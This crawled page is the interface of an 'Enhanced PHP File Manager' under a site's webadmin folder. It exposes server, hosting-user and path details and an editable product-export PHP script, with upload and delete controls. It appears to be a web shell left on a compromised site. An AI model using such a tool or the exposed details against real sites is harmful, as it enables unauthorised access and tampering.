Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.40.1.lve.el8.x86_64

PHP Version:

8.2.27

User:

u176930106

Directory:

/home/u176930106/domains/venomancillary.com/public_html/webadmin

Free Space:

1.91 TB

🔧 Quick Actions

✏️ Editing: productexcelacp.php

<?php
ob_start();
session_start();
include("includes/inall.php");
$dt=date("d-m-Y");
$filename="Products.xls";
$contents="Sl. \t Date \t Brand \t Model \t Product \t SKU Code \t MRP \t Stock \t Total \n";
$count=1;
$sql="select * from `newproduct` where `category` in ('66','67') and `pro_st`='1'";
$sql.=" order by `pro_id` desc";
$res=mysqli_query($con,$sql);
while($row=mysqli_fetch_array($res)) {
	$total=round($row['mrp']*$row['instock']);
	$rowc=mysqli_fetch_assoc(mysqli_query($con,"select `name` from `category` where `id`='".$row['category']."'"));
	$rowsc=mysqli_fetch_assoc(mysqli_query($con,"select `name` from `subcategory` where `id`='".$row['subcategory']."'"));
	$contents=$contents.$count." \t ".$dt." \t ".$rowc['name']." \t ".$rowsc['name']." \t ".$row['proname']." \t ".$row['sku']." \t ".$row['mrp']." \t ".$row['instock']." \t ".$total." \n";
	$count++;
}
header('Content-type: application/ms-excel');
header('Content-Disposition: attachment; filename='.$filename);
echo $contents;
?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: productexcelacp.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation